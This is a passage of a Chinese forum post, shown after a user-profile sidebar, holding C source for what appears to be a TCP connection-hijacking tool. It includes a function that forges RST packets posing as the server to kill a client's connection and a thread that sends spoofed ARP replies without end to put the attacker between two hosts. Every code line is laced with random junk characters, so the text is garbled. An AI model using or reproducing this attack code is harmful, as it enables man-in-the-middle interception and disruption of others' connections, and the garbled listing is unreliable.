- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
__finally / N( r2 ^) h- ^! @ V: s# _4 `
{
$ o3 \' N7 t* J: h4 }) Y+ d% e3 e if(pHiJackPacket) free(pHiJackPacket);
7 r6 ^4 X, a# ^) V }
$ k- z5 C+ `* C/ _' E) w, ]+ `& ] return bRet; # r8 g9 }$ O) @) v7 ^ ?) S, t
} ; t0 ~) ~! D6 ]
1 O% d9 K H; P7 a
& g; U( g$ R0 \// % f6 e# [. k! L- U- E* U
//功能:伪装成Server给Client发送rst包 # t4 X* z7 k$ H& [6 D& s2 [( \
// . ]& ?8 q i' [) W( }
BOOL SendRstPacket(unsigned int seq, unsigned int ack) ' f, ]8 U; j% w' H; B# L- Z
{
) X% v, g: Q9 U- h+ s9 x9 ` char szBuff[60]; : |! f' P" z* y2 _) B( j" m# ?% |
PSDHDR psdhdr; - l$ _; ^; h4 B
PTCPPACKET pTcpPacket = NULL; ( U! R9 G6 R( X9 E' h
BOOL bRet = FALSE;
5 ]2 I3 s! p; I3 k8 g3 t& M0 r/ T; V/ {& ~* ^& K: B' \3 |
__try
) Y6 Y& d. U" x {
6 i1 [0 ]7 j& G! P( n& ?" v L //检查当前指向想控制的连接的信息的指针是否为空 7 f' ^! t6 o' R+ ?) w3 D/ L5 P
if(!g_pCurrCtrlConn) __leave;
: E, S$ p9 t o* K% D //allocate memory for rst packet # T% r2 ^% F7 Y# X! h7 d
pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); : h: F3 S* K& [; @' g% s
if(!pTcpPacket)
2 Q4 ?& r. Y4 u8 g& y7 I2 G {
" K- ` m! [+ y( @ `8 L3 `/ l1 Y printf("malloc error:%d\n", GetLastError()); / x: S$ M6 F" R
__leave;
( q* K2 e Q* p2 w& o6 [7 n) U. r1 }% r ? } 7 ]# D$ |7 d$ l/ q- i# A- s) f; f" T
//fill ethernet head
# L4 V0 u% o& Z2 f! ? memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6); : A; z" U$ g8 ?* w4 e' G1 Q
memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
" y2 @9 K4 j3 x" C' w4 A pTcpPacket->ehhdr.EthernetType = htons(EPT_IP); , x4 c+ i6 d# k% p0 i# ]' W' V: b6 _$ g
//fil ip head
3 ~3 n1 d/ p, ]1 ^ pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); . G6 B/ ^& p# ~* ^1 c8 F1 v
pTcpPacket->iphdr.tos = 0;
! _. H0 ~0 W$ K/ `' W5 ` pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); ) p9 i, B" m: S0 X& X
pTcpPacket->iphdr.ident = 1; 7 n2 X/ x) y' h) {& X) {* E( |
pTcpPacket->iphdr.frag_and_flags = 0;
( f$ N% L* L; B2 [& T) F7 b pTcpPacket->iphdr.ttl = 128;
1 ]3 d; v& Y8 E3 j pTcpPacket->iphdr.proto = IPPROTO_TCP; 0 v0 m t7 \# r* P' O
pTcpPacket->iphdr.checksum = 0; : @9 X7 V; f8 d* V4 `
pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的 - X `$ `7 c K: ~8 r- w. z; h
pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
2 h7 p, B- y8 T2 W& F' U# u1 c //fill tcp head * {8 U+ |- @+ l) I Q: S* P
pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口 / [8 l- S9 F% H7 @& x
pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
; |% ] [- A7 C- k" L. ^ pTcpPacket->tcphdr.th_seq = seq;//SYN 8 |7 T$ V" z! o$ R
pTcpPacket->tcphdr.th_ack = ack;//ACK ) S" R/ r. c5 X% o9 f
pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
4 X# [/ E8 h; ^! z0 U/ Z3 b3 g" i& J pTcpPacket->tcphdr.th_flag = 4;//RST flag
( D a! ]2 n# @5 |, V9 E1 j pTcpPacket->tcphdr.th_win = 0;
; P/ X0 F( i2 X/ Z( o ?$ S pTcpPacket->tcphdr.th_urp = 0;
5 V5 p6 q6 J- x( _# Q6 f$ m pTcpPacket->tcphdr.th_sum = 0;
# e' m* H7 z6 d //fill tcp psd head
$ ]: H3 V# h+ v. {" B) P* A5 l psdhdr.saddr = pTcpPacket->iphdr.sourceIP;
: P) h% u$ ~. J psdhdr.daddr = pTcpPacket->iphdr.destIP; + D5 M- [3 c" @: w ]: F7 x
psdhdr.mbz = 0; 3 t" A. \3 I# j7 R+ n* @& ~
psdhdr.ptcl = IPPROTO_TCP;
- e3 d1 M; J& K4 o psdhdr.tcpl = htons(sizeof(TCPHDR)); % | s' y* V* ]- @% }
//calculate tcp checksum
0 _7 ?# x" L6 r# p5 Y' } memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
) I' J b# e% @ q: G9 z6 y4 D7 d: @" Z memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR)); : J2 u/ k. d% r, P8 j
pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
- E- J" I) x0 l //calculate IP checksum ' ^& A# N3 P, O9 N5 }9 _" A
pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
9 E4 S, q' [0 B //fill send buffer
9 F* b' _9 O9 n9 C, d memset(g_lpSendPacket->Buffer, 0, 1514);
9 Z" {5 d7 t3 g! _% N memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
5 `' ~" S, u. A if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
! T9 P+ r( F4 T5 B { . q8 w0 h0 u6 Z0 q' I+ v! W
printf("Error sending the rst packets!\n");
6 z! j& j# m3 ~6 L9 M- e __leave; 0 R3 I* y" V9 X
} 7 ^2 J) `, K9 u! S8 B1 {9 z
else printf("Send RST packet ok!\n"); ) m( Y% Z2 k6 k* D- I
bRet = TRUE;
3 o& Y( g0 e6 U. a } 3 k- J1 z3 A/ G$ r& k
__finally ' o/ S$ _7 t' o
{ : f& ]) s. B: r: R5 J6 L$ K
if(pTcpPacket) free(pTcpPacket);
$ t( w& M, k1 t }
" D% s9 H7 f' O: y return bRet; ! L. K$ N2 d+ }& V# ?- _
} 1 {/ K# I* [& Q: I! _- F. S! m( o% x
; Y( ]7 V7 P% u! B) w; z
//
( L; ^9 R) H6 P8 u w//功能:计算校验和
7 G- x7 T+ }: y a( x8 @9 r4 l//
9 z$ [% L g7 g1 t# u2 j, i8 |! DUSHORT checksum(USHORT *buffer, int size) % Q+ z. t0 C7 Z; [! }4 w* }
{
" B% `6 J# m# @; h) }$ w unsigned long cksum=0; 0 j, f" i7 n. T, e+ s- A
while(size >1) {
R1 `, ?' z: f+ k cksum+=*buffer++;
$ ^2 J, A. W* q8 z* f$ [$ U size -=sizeof(USHORT);
1 O- a% y! u3 ^( \! [ }
9 t: D; E( ~6 z; M! A if(size ) {
: m8 J+ T. d8 y3 l" m8 q% ^ ` cksum += *(UCHAR*)buffer;
8 M; S# Z: J' k6 m- e8 z0 Q } " w$ v" U, D7 x% K
cksum = (cksum >> 16) + (cksum & 0xffff);
6 y( W9 u0 o% e: s. O cksum += (cksum >>16);
( s V8 Q+ M& o return (USHORT)(~cksum); # J6 Z7 i7 q/ j' h* X% a
}
1 S6 E/ `+ [( X, b9 X9 V4 q
& t( Q) X$ Z" c! E" L3 E//
( F0 z* f+ v. b* y//功能:实施ARP欺骗 ! O0 U @7 a5 I( Y
//1 告诉ServerSide,ClientSide的mac是ownmac
) R' L, G! K& _& ~" x, Q- i//2 告诉ClientSide,ServerSide的mac是ownmac
, c9 f# H. s, E- j9 k1 z// 8 g# S9 ]& {( x, H$ d, U2 k/ H C0 }
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
/ E' Q7 ?# ^. y- O{
: O; A& f) h7 g5 W" ]! |/ \, T int iType = *(int *)lpType; ; Z' j) Y) r7 i
ARPPACKET ArpPacket;
6 I; Y9 [# U/ `7 K4 }4 F6 U LPPACKET lpArpPacket; : l/ |7 _' C, p4 C6 h- ^! E
char szArpBuff[60]; 4 ~( E- @6 i/ @' k) T% h
# d' h' \& y& u8 }2 {2 { switch(iType)
) ?. W0 N! V5 B! R {
( g0 O6 N6 S, M& Y case 1: 7 d& a) @/ y$ z5 W, H5 k
memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
) d) @6 C5 p7 f: P& e* Z/ Z ArpPacket.arphdr.DestIP = g_ServerSideIP; - y' Q$ J8 u4 R1 d
ArpPacket.arphdr.SourceIP = g_ClientSideIP; ! C1 r+ i6 J7 {6 f* m
break; $ M \9 s# B. f( g0 L
case 2:
* x3 j, |/ N0 l, m$ t& |& N/ r memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
" j S* H8 Z v3 \6 y ArpPacket.arphdr.DestIP = g_ClientSideIP; ( r1 D; ?4 q S g1 _. @
ArpPacket.arphdr.SourceIP = g_ServerSideIP;
" u% r* E& f+ X# P3 a break; 1 t l$ J5 N9 U q2 G5 u
default: + J$ N) C8 i& c4 I
return 0;
, a& t5 ^% X# v2 [3 f } & S& \& [6 h F+ U7 B
//ethernet head
6 z. P0 Y3 X1 _ h& j* Q Y) F memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); + x& H6 @$ w: t' {. A2 F5 I! ?: L9 I
ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type $ g. U3 J: s2 p, g% w6 Z
//arp head
D* l0 S5 n% q2 M8 P) t0 ?8 r memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
: x8 ^( s5 h* q I8 p! N memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac : Z& Z# t' x6 u6 D* G7 E
ArpPacket.arphdr.HrdAddrlen = 6; ) O9 M3 B7 k+ c3 T1 F2 c' r5 u' ~
ArpPacket.arphdr.ProAddrLen = 4; 0 H. ~, [3 b- a* T7 }6 n
ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
$ n& l, ~# b* y+ E4 _7 T ArpPacket.arphdr.ProType = htons(EPT_IP);
, F) X' o! T- ?& s ArpPacket.arphdr.op = htons(2);//arp reply
7 H2 @7 {; n2 |$ Q5 B
& M) U( n. U9 r1 l& ` lpArpPacket = PacketAllocatePacket(); - r7 N" ?5 q: \7 o& M _0 Q
if(lpArpPacket == NULL)
7 y& C, o. h9 i { 8 h: \' F/ C9 I5 V" C) K6 u
printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); : T; U9 T3 J: j1 {! V7 r
return 0; 3 B( O& ~) M7 K9 C- {
}
. `9 L4 b, D: f2 W, Y8 h memset(szArpBuff, 0, sizeof(szArpBuff));
& p: s" d- u6 E" p5 N memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET)); - i% U; G# W6 j5 _3 G
PacketInitPacket(lpArpPacket, szArpBuff, 60);
' B4 a+ k$ s' k5 }% ]9 k" E //send arp packet % R' D7 m) f6 R0 }6 Y0 Q9 w
while(1) " y! c% E/ c0 m5 u: R: Y& r
{ 2 V+ P& X m) j) n, k" U" o2 @/ k# t
if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) , K3 o: Z' E. o+ e5 n7 f j6 n, a
{
0 T) C" B! T/ _6 |4 ~6 \, \ printf("Error sending the arp spoof packets!\n"); . [( G' B2 d9 n3 I1 Q, S, i+ \
return 0; 8 ?5 G& K- K# }( a# F
}
% u2 ~+ C: ^) q4 ^6 ~0 M3 f Sleep(1000);
6 ?) m! s2 y4 j, P }
2 P& A4 V2 r) @2 K3 O K C7 s* n return 0;
; F1 ^( y% p% m4 ?} / L' N! x$ A5 O- F) T+ y
1 ~1 }. x6 {7 t& I
//
( K9 N* H+ p* E" k j* u//功能:输入IP取得对应的MAC地址 ( `# c, ]: t0 O
//
4 \" I o8 V4 O8 I& `! h0 L7 b1 QBOOL GetMACAddr(DWORD DestIP, char *pMAC)
6 I# X" [3 R# m1 x5 x8 u" j) s{
7 ~' O# b' Y. _1 k3 H DWORD dwRet; 5 u, S/ t% K! ~! n
ULONG ulLen = 6, pulMac[2]; 9 m) ~/ G' _/ [% v% A: v+ R5 v+ B
dwRet = SendARP(DestIP, 0, pulMac, &ulLen); * ^4 M1 A( X1 B+ R" T. `
if(dwRet == NO_ERROR)
7 b9 |# T: G2 w. A9 Y" \$ f { 1 {; c8 e S8 E1 l, u
memcpy(pMAC, pulMac, 6); 8 i) b/ B; n# g
return TRUE; 0 w( \) D L2 i
}
3 U+ o! f' b( |" M+ t else return FALSE;
$ E4 S( o- \$ P} |
|